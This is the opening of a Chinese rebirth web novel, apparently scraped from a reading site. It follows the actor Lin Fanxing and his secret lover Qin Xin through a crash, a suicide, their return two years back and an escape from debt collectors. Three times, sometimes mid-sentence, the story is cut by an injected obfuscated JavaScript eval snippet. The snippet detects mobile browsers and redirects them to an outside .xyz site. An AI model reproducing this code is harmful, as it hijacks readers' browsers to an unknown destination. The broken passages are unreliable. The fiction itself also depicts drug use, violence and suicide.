《反诈影帝[重生]》 1. 凡星坠落 一张不算清晰的照片映入林凡星眼帘,照片中心,一个年轻人的鼻孔下方沾着可疑的白色粉末。 是偷拍,地点是商务KTV的尊贵包间。昏暗的环境都没能淹没那年轻男人的漂亮,无论是修长后颈还是清冷疏离的侧脸,都被灯光勾勒得淋漓尽致。 那一双眼睛格外好看,不宽的眼褶前平,后飞扬,瞥出的神情带有一抹不经意,游戏人生不走心。可唇珠偏偏凸出微翘,让这张脸充满脆弱和堕落。 林凡星定定地看着照片,在车里缓缓地掐灭了一支烟。 烟雾缭绕,一直飞扑到他的眉眼。后视镜反射着他的上半脸,和照片里的主人公八分像。不仔细看的话,几乎难分。要是他也像照片里的人那样戴一顶白色鸭舌帽,完全可以以假乱真。 林凡星平时很爱惜他的脸,也很喜欢照镜子,但现在他恨上反射出的这张脸,恨不得将它毁掉。 手机放在副驾驶,迟迟不响。曾经它响得多么欢,如今它的沉默就多么瘆人。林凡星已经不记得这是多少次了,发出去的消息杳无音信,石沉大海。 [不管是不是分手,你能不能给我回复一条?] 林凡星又发了一条。 他在车里等了10分钟,把所有的希望都寄托在手机上,心情跌落谷底,他总得找点东西当救命稻草,好把自己拽上来。只是无穷无尽的沉默像一场旷日持久的凌迟,切割着他掌管痛觉的那部分神经。 秦昕已经失联3天。 这是一场地下情,只关于他们两个人。一个是14岁就获得国际电影节最佳男演员奖的年少有为,一个是奋斗了很多年还未有起色的镶边艺人。林凡星也不知道秦昕当年为什么会找他,他只知道,在秦昕发来好友邀请的那天,原本已经累到极致、连续拍戏10小时的他,一夜未眠。 幸运的悸动,堪比被一颗绝佳耀眼的流星砸中。 加入这行之后,林凡星幻想过很多事。成名后的光环、数不清的剧本、人前人后的荣耀……这都是他幻想过的美景。只是他从未幻想过……一个平凡人会被一个天神垂爱。 在那些抱着手机联系的日日夜夜,林凡星献祭一样剖开了他的思想和回忆,众星捧月般捧着手机。他爱秦昕。他爱了秦昕好多年,考艺术院校表演系也是看了秦昕当年的电影。 说他犯傻也好,一头热也好,林凡星明知道他们的关系永远见不得人,还是义无反顾地深扎。 秦昕说“我们见面要装作不认识”,林凡星说“好”。他说“我现在不能承认恋情,你会理解我吧”,林凡星说“我理解”。他说“等再过一阵子我们就可以约会”,林凡星幸福得整夜失眠。 就连他上次被私生的车撞上,第一时间也是检查手机有没有摔坏。因为他没有别的,他和秦昕的爱情只有一部手机作证,这是他们唯一的听众,也是他们唯一的证人。 现在连这个证人也哑了,林凡星不太明白他的“不重要”到底要卑微到什么程度。但秦昕只要给他发一个表情包,他就能当作一切都没发生过,继续在黑暗里当情绪垃圾桶,当最狂热的粉丝。 现在他连这个机会都没有了。 林凡星又抽了一根烟,抬手就把后视镜掰了过去。 [秦昕,你能不能给我回一下?求求你,好不好?] [我知道你怕我纠缠,我不纠缠,我只想问一个明白,是不是我做错了什么?] [我不影响你,我只想再听听你的声音……] [小昕,我好想你,特别想你。钱不用你还,给你花钱我高兴,我的都是你的,我愿意让你高兴。] [但你能不能理理我,别这样对我。] 一条又一条的信息发出去,每一条都石沉大海。林凡星的烟一直抽,抽到他脑子疼,都没等来手机的一次震动。曾经聊得滚烫的手机也冷成砖头,林凡星坐在车里抱了手机一会儿,幼稚极了,试图把它捂热。 其实他早就预料到结局,只是想听秦昕亲口告诉他。 秦昕也会给他发语音,每一条都被他收藏,来回来去听。可现在林凡星却不敢听,期待越大,迎接失望时的痛苦就压得他无法喘气。 等一包烟抽完,林凡星的手机终于震动起来! 是他吗?林凡星真是被思念折磨得糊涂了,看到来电人姓名是“林栋”时居然还幻想是秦昕。现实的巴掌抽在他的面颊上,他不知道是哪里疼,只能先把电话接起来:“喂,爸,有事吗?” “你在哪儿呢?”林栋问。 “在工作。”林凡星右手搭住方向盘,额头压在手臂上,“爸,有件事我想问问你和妈。” “你先说。”林栋的语气很直白。 林凡星看着手机屏幕,还在等新消息的降临。“我在外头喝酒被人拍了照片,有点麻烦。” “喝酒怎么会麻烦?你都成年人了,出去和朋友喝喝酒,很正常。”林栋说。 “但是喝酒的时候,我沾了点儿粉,就是……让人高兴的致幻剂。现在有个法子,那张照片不是很清楚,我和我弟长得像,能以假乱真。我马上有电影上映,不能出这种事,所以我想让他替我挡一下。”林凡星在心里倒计时,如果再过10分钟秦昕不回复,他就彻底死心。 “那怎么行!你疯了!你是不是疯了!”电话那边的人换成了周芙,“我看你是真疯了!你自己抽烟吸粉这种事,居然还想赖在你弟弟头上?” “反正他现在还没混出头,以后也不一定能拍戏,我马上要火了,当然是保我。如果我真混出名堂,我能亏待他吗?”林凡星感觉每说一个字都在咳血,“我……” “别做梦了!你自己找死别带上你弟!你真是烂泥糊不上墙,活该让人拍照!”周芙恨不得现在就和他划清界限,“你弟有你这么个大哥真倒霉!你……” “你们真不打算让他替我?”林凡星却不经意地笑了一下。 林栋抢过了手机:“一人做事一人当,你该自首该坐牢都是你自己作的,和你弟没关系!当年你拍电影我就和陈导说过,你根本不是那块料,不如考虑你弟弟,他非不听!这回好了,违约金你自己搞定,和我们这个家没关系!” “好,既然你和妈都这样说,我就放心了。”没想到林凡星语气一换,“被偷拍的是我弟,现在人家要4000万买断,我拿不出来。今天晚上他的照片就会公布。” 手机那边只剩下一片紧张绝望的死寂。 林凡星却熟悉这片死寂,他好像一直都是这么倒霉,不管是恋爱还是事业,每次有点起色就出大问题。他也想保林繁星,弟弟出这种丑闻,他怎么可能全身而退?只是林凡星真的拿不出那么多钱。 就算他给那些人磕头,人家也不会给他照片。 “既然你们刚才都觉得一人做事一人当,这一回,你们别再劝我替他顶包。”林凡星如释重负,出窍般笑起来,灵魂变成了轻巧的纸飞机,从他太阳穴飞出去,他嘀嘀咕咕,都快要听不到嘴里说什么。 但是,他知道爸妈会说什么。 你再帮你弟弟一次吧!既然你以前都帮他一次了,再一次,最后一次! “凡星,凡星!”电话那边终于有了动静,就和林凡星预料得一模一样,沙哑绝望的哀嚎出现,他却笑不出来。他浑身疼,也说不出哪里疼,就这样听着他们乞求。 “你就再救你弟弟一次吧!他还小呢,这种照片流出去他以后怎么做人?你是当哥哥的,你怎么这么不懂事?” “我不懂事?我为什么要那么懂事?”林凡星不知道在回应谁,嘴唇每动一下,太阳穴抽痛紧跟而上,“我也是你们的儿子,我也是!为什么你们从来不替我想想!” “凡星,你听爸妈说,你弟弟他……” “我知道,你们就是爱他,你们就是偏心他,我不求你们爱我,行了吗?我不求!”林凡星从来不当着他们哭泣,太丢人,他花费许多时间修建起的自尊心不允许。然而在他们又一次开口瞬间,滚烫而透明的泪珠飞速坠落,砸在他胸膛的布料里。 他骨头缝都疼。 “我不求你们爱我,我知道……我知道你们不爱我。小时候你们出去工作,把我一个人丢在老家,你们说没时间带我,所以我是留守的。可是……等我上初中时你们把我接到身边,为什么弟弟是你们随身带着的?为什么?你们没时间带我为什么有时间带他!他是繁星,我是凡星,我就活该吗?” “两年前他惹了事,我出面顶了,肋骨被踹断了两根,被灌酒灌到胃出血,我现在左眼还是义眼!我为他还钱,借高利贷,被追债半年不敢出面,赚的钱都在填窟窿!现在我好不容易有机会,他又出这种事……”林凡星笑得脸色惨白,胸口震动像拉开了的风箱。 一拉开,里面满目疮痍,遍身毒疮。 他完了,他知道。他没有4000万。没有人能救他,一旦林繁星爆雷,他这个亲哥紧跟着就会成为众矢之的。 原来承认自己不被爱,就这么难受啊? 林凡星按下了通话结束,爸妈马不停蹄地打进来。他想看秦昕有没有回复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900701|176614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,索性把爸妈拉入黑名单。可是秦昕的冷暴力比爸妈的热暴力还要可怕,让他火山沸腾般的怒气急速降到了冰点。 林凡星又想抽烟,可是烟抽完了。他发动车子,准备找个最近的小超市买上几条,在车里一口气抽光了算。 车子开上了高架桥,林凡星已经抹掉泪水。虽然明知道这事无解,可他仍旧不想放弃。电影快要上映,海报都往院线送了,他不能倒在上映之前。 可那是4000万啊!他把这条命卖给谁,谁能给他4000万? 如果有人买,他这回真可以卖! 前方拐弯,林凡星在心烦意乱中打着方向盘,丢在副驾的手机猝不及防震动了一下。明知道这是危险驾驶,林凡星还是没能抵抗诱惑,朝着手机伸出了手。 是秦昕! 小昕:[不必见面了,和你谈恋爱是我的耻辱。] 一句话让林凡星重燃的心气再次覆灭,情急之下他单手打了个“?”,结果却跳出了刺目的红色感叹号。 秦昕把他拉黑了。 冥冥当中像是一只手压在他的手上,打乱他方向盘的操控。等林凡星反应过来,车头已经撞上高架桥的外侧围栏。紧跟着是后脑勺钝痛,像有人在身后猛踹一脚,踹在他后脑勺上。眼前的车玻璃从正常距离到了眼前,身体又在安全带的守护下弹回来! 巨大撞击声压住了林凡星的听力,他只能听到车子飞出围栏的死亡绝唱! 他记得下面是河。 真好,死得干净,不伤害别人。 林凡星头一次在现实生活里看到慢动作,见证他的车坠落入土。苦夏如火,他到了夏天就不爱吃饭,他记得秦昕给他发的第一条信息:[凡星哥,你今天没吃饭吧?] 算了,下辈子不做恋爱脑。林凡星在撞击之前闭上疲惫的双眼,从他脑海飞出去的纸飞机再也飞不回来。 6个小时后。 屋里没开灯,秦昕坐在书桌前,面前摊开他的日记本。本子厚且结实,他买了5年用本,到现在还没用完。他以为自己迟早有一天可以用完。 手机也放在面前,灯光扫着他面无表情的脸,那双被誉为女娲神迹的丹凤眼蒙着灰尘似的,瞳孔里是迷茫的万丈深渊。 手机屏幕定格在热搜榜,第2位——[林凡星车祸正在抢救] 笔记本电脑的桌面,是林凡星几年前的定妆照。 热搜榜的第1位——[林凡星弟弟吸食可疑粉末已调查] 秦昕依稀记得凡星是有一个弟弟,但是,那人和他有什么关系呢?他只想看那一颗星星。 眼前是数不清的药瓶和药片,卧室像暗房,挂满了林凡星的照片。他合上笔记本,带着它走到阳台,看着天上数不清的星星。 窗外是夜幕四合,车水马龙。房子地段很好,不远处就是林凡星车祸现场,那一段堪称建筑界炫技的高架桥。秦昕静静地看着那里,像要研究出桥梁的哪一段不合格。 一定是桥的问题,不然怎么能让凡星坠落? 忽然间,身后书桌上的台灯灯泡爆掉,从明亮走向了黑暗。卧室进入彻底漆黑,挤光了最后的生机,秦昕就像有心有灵犀似的,手指抽动了一下。 星星,是不是坠落了? 他打开手机,新的一条热搜已经上榜——[林凡星确认死亡] 秦昕看着那行字,准备要研究透彻,一笔一划研究着。他认识每个字,凑起来就读不顺句子,仿佛患上失语症。他紧盯不放,从来不看评论区的他这一次点进去,急迫地想要了解一些什么。 [会不会是畏罪自杀?] [他弟弟那样,说不定和他也有关系,俩人都吸了吧?] 秦昕骤然笑了,又退了出来。他再次看向高架桥,很意外的,他居然觉得这景色好看。 原来出车祸的最后一刻,他们这么近。也算是他们的结局吧,只不过这个结局太过糟糕,糟糕到……他来不及和林凡星认识,好好地说说话。 下一秒,秦昕踩上阳台的折凳,抱着他的日记本义无反顾一跃而下。 35层的高度,不知道和高架桥比起来谁更高?摔下去会不会和他一样疼? 秦昕在失重中睁不开眼睛,唯一想到的就是那一年。他一个人坐在排演室,正因为变声期而烦恼,鼻梁骨上贴着创口贴的林凡星走到旁边蹲下,用桌上的废纸折了个纸飞机。 “我叫林凡星,双木林,平凡的凡。最平凡的那一颗星星。” 那一年秦昕没有接住他的纸飞机。 2. 重生节点 “啊……” 秦昕醒在一个深呼吸之后,肋骨上压迫感很明显,下一口气几乎跟不上来。 眼前是一整片星空,繁星闪烁,明灭间断。只是天边又飘来一片预示不详的乌云,加重了空气里的潮湿。 “……凡星。”秦昕不由自主叫了一声。 无人回应,只有星星对他眨眼。乌云翻滚而来,云间裹挟着摩擦而生的超大静电,将云层内部分区点亮,好似立誓要和天上星争一个高低上下。 “凡星?”秦昕缓缓坐直,胸口压着的是那本五年用笔记本。怪不得喘不上气,它摊开后的重量堪比一本词典。 轰隆声不绝于耳,压迫天际,乌云用特殊的方式回应他,方才只是电闪雷鸣,这会儿疾风迅来,将院子里的梧桐吹得败下阵来。空气里充斥着水和土的混杂气味,电离子和水分子在周围你争我夺。 “凡星!”秦昕在第3声雷鸣之后,被来自身心两层的疼痛全方位绞杀了一遍。 林凡星死了。他死了! 可眼下又怎么回事?自己不是跳楼了么?怎么回事?秦昕慌忙中看向手和脚,完好无损不见血迹。要是梦境一场不会如此真实,下坠后的失重感还停留在他身体内,如捉迷藏的盗贼冒出头来。 不是梦境,那自己怎么会……秦昕摸向肋骨,身体猛砸到柏油路面的过程还在他脑海里过走马灯。他清晰地记得自己怎么摔在地上,全身粉碎性骨折的剧痛怎么让他转瞬失去了意识。而这一刻,他的骨头架子就是刚刚拼好的一副。 如果是真的……秦昕手里的笔记本仿佛提醒着他,他随意一翻,骇人惊闻都不能形容他此刻的心情。笔记本里密密麻麻记录着他往后两年的日子,那字迹太过好认,就是他亲手一笔一划写上去的! 没错,是重生了,回到了他的20岁。 秦昕来不及多想,只想知道今天是几月几日。 他下意识看向手表,表盘显示今日是6月6日。光是这样一瞥,秦昕干净的眼白刹那间要迸裂几十条毛细血管,将白色染成血红才罢休。他翻身下床,这是家里的顶层露台,每天晚上他都躺在这里观星,然而刚一翻身又是一阵眩晕。 这是他20岁的身体,差点忘记两年前的自己虚弱成何种境地! 大梦一场,命运又给他开了好大的玩笑。重生是重生,结果活到了他最为虚弱无助的阶段。这时候的他比两年后足足少了20斤,黑衣黑裤的他清瘦好似一根黑色的晨光圆珠笔。 顶着两眼疯冒的金星,秦昕气喘如风箱,两手抖个不停,不等视线里的金星悉数灭掉就强迫自己快走。他能等眼前的金星消失,可凡星等不了太久了!凡星今天会出事! 孱弱的身体勉强支撑着走下楼去,秦昕在匆忙中不忘重要大事,先把他的日记本锁进了卧室保险箱。密码锁转了又转,秦昕已经满额大汗、手脚冰凉,心里只有一件事撞击着他的意识深处—— 找到林凡星! 如果,如果自己真的回来了,那么还有很多事情来得及……秦昕胸口的震撼转瞬间被狂喜代替,用力掐了一把大腿。疼痛再次验证了眼前不科学的境地,他还活着。从两年后回来了,35层一跃而下没有让他死去,反而把他送回了命运的节点。 “秦少爷,您该吃药了。” 一道温和的男中音直抵秦昕耳边,推门而入的人正是秦家的私人家庭医生,方博。他已经年过50,时光在他脸上沉淀着学识和修养,白色大褂是他的医者仁心。如今秦昕正在喝中药调养身体,他手捧一碗清苦的药汁,刚好和奋力冲出的年轻人撞在了一起。 虽然体虚身弱,可秦昕高过他半头,一阵风似的撞了个人仰马翻。方博的肩膀磕在门上,药自然也洒了一手一身。 “秦少爷您去哪儿!外头马上要下雨!您不能乱跑!”方博的手被药汁烫了一下,他尽职尽责地拉住秦昕的一只手,不允许他随意外出。 秦昕从小身体就不行,14岁之后更是每况日下,腕口瘦得一把攥满。只不过这一次秦昕没有听家庭医生的话,右手一甩,将方医生猝不及防地甩在了身后。 方博也不是追不上他,其实快跑两步就可以办到,但最终还是停下脚步来,目视那摇摇晃晃的背影冲进了雨帘当中。心里倒是荡起了异样的察觉,怎么今天的秦昕这么……奇怪?往常这时候他喝了药就要睡觉,恨不得昏睡过去,一睡不醒。 今天他这是怎么了? 外面暴雨滂沱,豆大的雨点砸落地面。闪电将夜幕彻底撕开,都不用白炽灯,已经足够照亮林凡星的那张脸。 他站在门的里侧,左侧就是穿衣镜。镜子刚好映出他的面孔,该怎么形容那张脸?绝望、凄惨、惊恐……每一种情绪都在脸上,惨白如纸。 他浑身战栗,明明身上没有沾上一滴雨水,T恤后背却已经完全被冷汗湿透。 这条命可真是惨绝人寰!为什么明明已经重生了,却回到了这个时候! 林凡星从未想过人生还能重来,只是他对死亡的记忆太清晰,才会相信此刻的自己是重活了一回。他明明已经躺在重症ICU里,浑身上下插满了管子,耳边是滴滴答答的设备声。护士在他身边来来回回走动,他想说话,然而喉咙好像被切开了,气管插着东西。 对于世界的最后印象是头疼,还有无边无际的黑暗以及冰冷。他的车子从高架桥跌落入水,头部遭遇重击,躺在急救车上时林凡星已经失去了视力,什么都看不到了。冰冷的水泡着他的身体,看不见的他逐渐往下沉。 应该是挡风玻璃的碎渣扎进了他的眼球,他那双明亮如星的眼睛再也没能睁开。 他还记得心跳停止前的最后一刻,都说人的听力是最后消失的,林凡星坚信不疑。他浑身的力气在消散,意志力断断续续,可是听力异常清晰,将周围一切动静都牢牢记在濒死一瞬。 “真可怜啊,眼球结构全坏了,我原本还挺喜欢他的呢。” “有什么可惜的,他弟弟都被抓了!听说抓的时候还在吸,和一堆二代光着身子混在一起,吸得意识不清。谁知道兄弟俩吸不吸?” “怎么可能啊,他看着多干净。” “他弟弟看着不干净?我告诉你吧,干他们这行就没有干净的人,他和他弟弟一样,都是溜冰仔,给那帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900702|176614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二代吸完泻火用的。” 不!我没有!林凡星想对着那些人吼叫,繁星的脸又出现在他面前。不管怎么样那是他弟弟啊,比他小5岁,今年才21岁。他小时候会怯怯地看着自己,把全家最好的东西双手捧给他,爸妈给他买生日蛋糕,繁星从来都是先让哥哥吃第一口。 爸妈想要动手打他的时候,繁星张开纤细的手臂,甚至喊出过“你们打我哥就先打死我”这种话。 就连……就连自己的大学学费,都是繁星攒下来的压岁钱和零花钱。 到底是从什么时候开始变化?繁星被谁带坏了?林凡星在最后时刻怎么都想不清楚,就如同他想不明白秦昕对他的赶尽杀绝。 他居然……觉得和自己有过一段地下情是耻辱。 不甘和悔恨成为林凡星最后时刻的唯一感受,双目失明的他在咽下最后一口气时流了眼泪。他的灵魂开始漂浮,逐渐抽离了他撞得支离破碎的身体。早知道这场地下情是这样收场,当初,他就不该给那孩子叠纸飞机。 那孩子那么漂亮,光是坐在那里就可以发光,惊艳堪比神雕塑出来的艺术品。没想到内心这么歹毒,狠得连一丝人性都没有。 当灵魂完全离开身体后,林凡星从上方看着他那具已经变成尸体的身体,看到自己的眼尾有两道血泪。泪水染红了他眼睛上层层包裹的白色纱布,洇成两块可笑的深红。 眼球全毁,只留下了泪腺,就是为了让他临死之前好好哭一场? 林凡星不知道自己是怎么回来了,只知道等到他再睁眼,面前就是这扇熟悉的门。他的右手捏在金属门把手上,朝右旋转着,门缝已开,门已经关不上了。门外的感应灯灭掉,只留下漆黑,然而外头一个白闪划过,照亮了一张张可怕的催账脸! 居然回到6月6日! 这是林凡星绝对忘不掉的日子!两年前的6月6日,他瞎掉了一只眼睛! 林凡星转身就跑,他太久没有享受过双眼视觉,已经习惯了只有右眼睛。左眼视线范围内的一切功能都让他陌生,连掌控平衡都成了困难。但他必须跑,哪怕屋里没有开灯,林凡星还是逃命一般朝着卧室跑去! 门外的人根本不是电工,而是他惹不起的打手!两年前繁星不知道惹了谁,那边的来头很大,林凡星兜里没有多少钱就借了贷,差了一天没还上利息就被人找上了门。 那是一帮凶狠毒辣的打手,毫无人性可言。林凡星深深记得自己是怎么被压在地上磕头,又百般屈辱被录下求饶的视频。 惨烈的求饶一声高过了一声。 “不要,求求你们不要伤了我的脸,不要伤了我的脸,我是靠脸赚钱的,不要……” “我会还钱,我出去拍戏赚钱,求求你们放过我吧。” “不要!不要!” 在他凄厉的哭求中,林凡星被他们按跪在地上,被捏着下巴强迫抬起脸。那是他记忆里最后关于双眼都有视觉的画面,紧跟着血淋淋的左眼眶就丧失了全部的功能,他人生的左半边就这样灭掉了。 他们放肆地毁了林凡星的左眼球。 跑!林凡星浑身颤动。 3. 陌生人 现在,林凡星的左眼明明没有受伤,但他忘不掉的痛感已经缠上了他。 快跑!这一次林凡星没有犹豫。他来不及思考为什么复活重生,可能是狗老天也觉得他死得太冤,于心不忍,给他再来一次的机会!也可能是他怨气太重,牛头马面带不走他,哪怕给他强行押到孟婆面前,他也不肯喝那口汤! 他才26岁,人生正要好起来。 现在时光退回两年,24岁的林凡星不能再错! 脚下一个打滑,林凡星借着窗外骇人的闪电亮度跑回了卧室,追他的脚步声和咒骂声仿佛抓住了他的脚踝,在他反锁卧室门的一瞬间留在了门外。他脱力一般靠在门上,眼前是简易的家具。 一张床,一个大衣柜。 “你以为你能跑哪儿去?开开门咱们还好说!不开门,就别怪我们不客气!” “妈的,那小婊子锁门了!” “狗娘养的……” 咒骂声和林凡星记忆里的一模一样!两年前的林凡星必然没有相信他们的诱惑。怎么可能开门好好说?开门只有死路一条!所以那时候林凡星不仅没有开门,情急之下还躲进了大衣柜里。 只是当年的他没想到……这是一条更为悲惨的分叉路。这一扇木头制作的卧室门只是风雨中的蜉蝣,根本抵抗不了太久,几分钟后就会被那些彪形大汉踹开!他们会在屋里找人,把他活生生拽出来,从卧室拖到客厅,把他的惨叫声当作助兴剂。 为什么已经重生还这么惨?林凡星绝望地往前踉跄两步,床底下不能躲,衣柜里不能躲,他还有其他的路吗? 门开始猛烈晃动,被人踹了一脚又一脚,震得林凡星后心直疼。脸上冷汗密布,他擦过一把后将目光转移到窗口。 窗外电闪雷鸣,玻璃爆哭过一样,汩汩淌下数不清的水痕。林凡星顾不上别的,赤着双脚奔向这唯一的出路。 他慌不择路地打开玻璃窗的锁,下面是3层楼的高度。身后哐哐两声巨响,熟悉的裂震直达耳边,当年就是这两声之后,那些人进了屋。 林凡星不敢回头,生怕剧情重演,然而左眼的余光把门那边的状况全部看清,门板被人踹歪,已经掀起了一角!一只粗大的手从门缝伸进来,手腕反拧着攥住了卧室这边的门把手! 狰狞的面孔露出三分之一,就是那个让林凡星做噩梦的男人。他把手指戳进了自己的眼窝。 恐惧之下没有犹豫了,林凡星亲手撕开他刚刚花钱做好的封窗,抬腿跪上了光滑的窗台。半边身子已经探到窗外,雨滴里夹杂着的小冰雹砸在他鼻梁骨上,疼痛提醒他此刻并不是做梦。 “抓住他!别让这兔崽子跑了!” “长这么漂亮!跑了怪可惜的!” 林凡星在抓他的咒骂里打了个哆嗦,当年他没看到这些人怎么冲进屋,现在看了个一清二楚。上一秒那只开门的巨手还在门框边,这一秒就压在了他的脚踝上,林凡星用尽全力踹向那人的腹部,身体重心有意识地偏向窗外。 3层楼的高度,摔下去也有可能要了他好不容易重活一次的性命。 可是他宁愿赌一把,也不能再落在这些人手里。 失重感在下坠中突显,林凡星毫不犹豫地将自己“丢”了出去,像丢垃圾那么果断。他后背朝向地面,面朝着那扇窗,黑漆漆的窗口挤出好几双手来,争先恐后在空气里乱抓,试图抓住逃走的他。 林凡星看着那些手离自己越来越远,就在他以为可以逃过一劫时,一张可怕的脸又探了出来。紧跟着是高大男人的臂膀和上半身,显然他也要跳下来,今天必须要抓住林凡星,不死不休! 霎时间,林凡星的后背落到地面,后脑勺在惯性作用下也和泊油路来了个亲密接触。他可能摔懵了两三秒,又迅速地恢复了意识,雨水令他清醒,冲刷着他全身的疼痛。 等到他抹了一把脸,窗口那人居然跳到了2层的空调外体机上,就差一步,就可以落到地面,再次扼杀林凡星重生后的生路。 林凡星不甘心地爬起来,摔得他浑身无力,走两三步都是勉强。他几乎是以跪倒的姿势往前扑跑,狗老天,上辈子你嫌我死得不够惨,这辈子还是赶尽杀绝? 狗老天!你他妈要整到我什么时候! 雨水根本不给他清晰的路面,整个城市被一场下白的灾难性雷暴雨罩住。 直到一束远光打入雨帘,将杂乱无章的细长雨柱照出了真身,也照亮了这条无人的小路。 林凡星来不及回头,腰上被勒了一把,勒得他差点吐出胃液,横膈膜断裂。身体飘忽起来,双腿离地的时候他才发觉自己是被人甩了起来,等到他再回神,屁股下面已经坐上了后座。 面前那人犹如从天而降,捞着他的腰将他甩上了摩托车的后座,再一步跨上,拧动车把一骑绝尘! 震耳欲聋的雷声和雨声交杂,实际上又多了另外一种动听的音色——摩托车的引擎声。林凡星没有头盔,慌乱之下他拧过半边身子朝后看,刚才还在2层外体机上的彪形大汉已经跳到了地面上。 “快!快点儿!”林凡星用力拍着前方陌生人的后背。 引擎声骤然变大,车轮卷起雨帘打在林凡星的脚踝上。身后那人穷追不舍,然而又没法敌过摩托车的加速,在一个拐弯之后终于彻底消失不见。 林凡星呼出一口气,成功逃过的他这才浑身泄力,如梦初醒。 他没有力气去问陌生人你是谁,你从哪儿来,你为什么救我,只有急促的呼吸和劫后余生的仓惶。林凡星完全感觉不到暴雨带来的失温,重生带给他的震撼远远高过于任何外界刺激。 黑色的摩托车带着他在城市里穿行,像是一个GPS在重新规划人生路径。 突然间,前头的陌生人腾出左手来,捞住林凡星勉强搭在他后背上的左手。林凡星这才有了真实的感触,恍恍惚惚地看着那只陌生的手。他的情绪还停留在被追杀的阴影里,十分抗拒别人的接触。 他甩开了那只手,哪怕这是救命恩人,林凡星也不想和任何人过度亲热。况且他脑子还乱着,这次跑了以后怎么办?我上哪儿找几百万还钱?繁星那小王八蛋躲哪儿去了? 还有一个特别可怕的结果导向,林凡星重生前能拍上那部电影是因为电影里一个重要配角是佩戴义眼的人,刚好他的条件完全吻合。现在他保住了两只眼睛,蝴蝶效应也开始了煽动,两年后那部电影再次开机,林凡星这种咖位是不可能再入导演的眼。 真是……拆了东墙补西墙,条条大路不通车。 然而就在林凡星胡思乱想的时候,那只手又拽了一把他的左手。这一次的力道远远重于上一次,不容置疑地将他的左手往腰上放。 林凡星这一次没有甩开,而是轻轻地放住了。理智开始回笼,他接纳了救命恩人的好意,这是要他抓紧。 只是那只手仍旧不肯放松,与其说攥住,不如说牢牢扼住,仿佛下一秒车后的人就能凭空消失,再也不见。林凡星甚至感觉到了疼,那细瘦的手指像针一样往他皮肤里扎。 一个闪电过来,那人的皮肤比他还要惨白。 “抓紧。”陌生人终于开口说话,他戴着黑色的摩托头盔,声音闷闷地压在头盔里,沉稳淡定,好似他已经预见今天一定会撞上林凡星。 看不见他的脸,反而给林凡星压迫感。 林凡星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900703|176614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道该怎么做,抓着他的衣服不行,压着他的腰也不行,最后只能采取规范的后座姿势,将上身往前趴伏,以完全信任的姿态把全身交托给陌生人,再牢牢地捞住他的腰。 姿势正确了,那只一直紧扼他不放的手终于松开,再一次回到了车把上。 林凡星惊魂未定,又在惊魂未定中察觉到了前方人的瘦和他骨骼的坚硬。像抱住了一把铁。雨水将他们的体表温度带走,林凡星怀里这把硬铁只有温热。 又骑了十几分钟,摩托车终于停下来,选了个非常安全的地方。今天是6月6日,城市早就发布了灾难性雷暴雨预警,所以路上早就没有人了。摩托车停在废弃的车棚里,前后左右都没有活人,只有两个“半死不活”的人。 林凡星下了车,狼狈不堪地一屁股坐下,短裤和短袖自然全部湿透,黏住他的胸口和大腿根部。借着外面的路灯,他打着冷颤看向陌生人,那人没有转过身来,只有一个清瘦的背影。 黑色的短袖和黑色的长裤像长在他的身上,头盔也不肯摘下。黑色的摩托车成为了林凡星的诺亚方舟,透明雨水在车座上缓缓滑落。 “谢谢,谢谢你。”林凡星缓了缓。 陌生人还是一动未动,仿佛断电的机械人。 “我……我给你钱,我给你钱吧。”林凡星是吓怕了,语无伦次地说起来。人家救了他一条命,现在是不是就等着他开口提呢? 陌生人听到这句话终于有了反应,扶着车把转向了林凡星。 果然是要钱。林凡星往后缩了缩,不停地靠向墙根:“大恩大德无以回报,你……你让我缓一缓,留手机号码给我。等我……等我赚到钱,给你……两万块?” 外面又是一个闪电,闪在那人的黑色头盔上,他动作有点僵硬,看不出头盔下面是什么情绪。 林凡星一退再退,湿淋淋地靠在灰尘遍布的石灰墙上。这是觉得自己给的钱少了? 当陌生人走向他时,林凡星连后脑勺都靠住了墙面,显得脖子有一些不自然的硬直:“那……三万块?” 陌生人没有点头,反而是存在感极强地走到他面前,居高临下地看着他。他身后的灯光被挡住,林凡星完全在他的阴影里,昂头对视,那人的影子轮廓强势地压在林凡星的脸上。 “四万块?”林凡星惨兮兮地笑了笑,“再多,我拿不出来。” 陌生人用小腿分开林凡星屈起的双腿。 林凡星想要并拢双腿,将腿合了合。 陌生人再次将他哆嗦的湿淋淋的双腿分开,黑色球鞋蹭了蹭林凡星的脚踝窝,蹲在他两腿当中。哪怕这人蹲着,都有让人难以忽视的身高。黑色的T恤完全贴在他身上,勾勒出高中男生抽条般的身材,每一根骨头都在疯狂吸收养分而疯长。 